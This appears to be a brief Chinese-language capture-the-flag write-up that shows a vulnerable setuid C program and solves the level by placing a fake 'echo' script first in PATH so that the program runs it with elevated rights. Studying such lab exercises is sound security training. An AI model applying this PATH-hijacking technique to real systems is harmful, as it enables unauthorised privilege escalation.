這一關是找出一個程序可以執行任意程序的漏洞
1#include <stdlib.h> 2#include <unistd.h> 3#include <string.h> 4#include <sys/types.h> 5#include <stdio.h> 6 7int main(int argc, char **argv, char **envp) 8{ 9 gid_t gid; 10 uid_t uid; 11 gid = getegid(); 12 uid = geteuid(); 13 14 setresgid(gid, gid, gid); 15 setresuid(uid, uid, uid); 16 17 system("/usr/bin/env echo and now what?"); 18}問題出在/usr/bin/env這個命令,用這個命令啓動後面的shell命令
在自己的主目錄建立一個叫echo的腳本,想執行什麼就寫什麼,然後權限設置爲可執行,接下來把當前目錄加到PATH環境變量的最前端
export PATH=/home/level01/:$PATH
然後執行這個程序,就可以調到我們的假的echo命令了
echo:
#!/bin/bash
getflag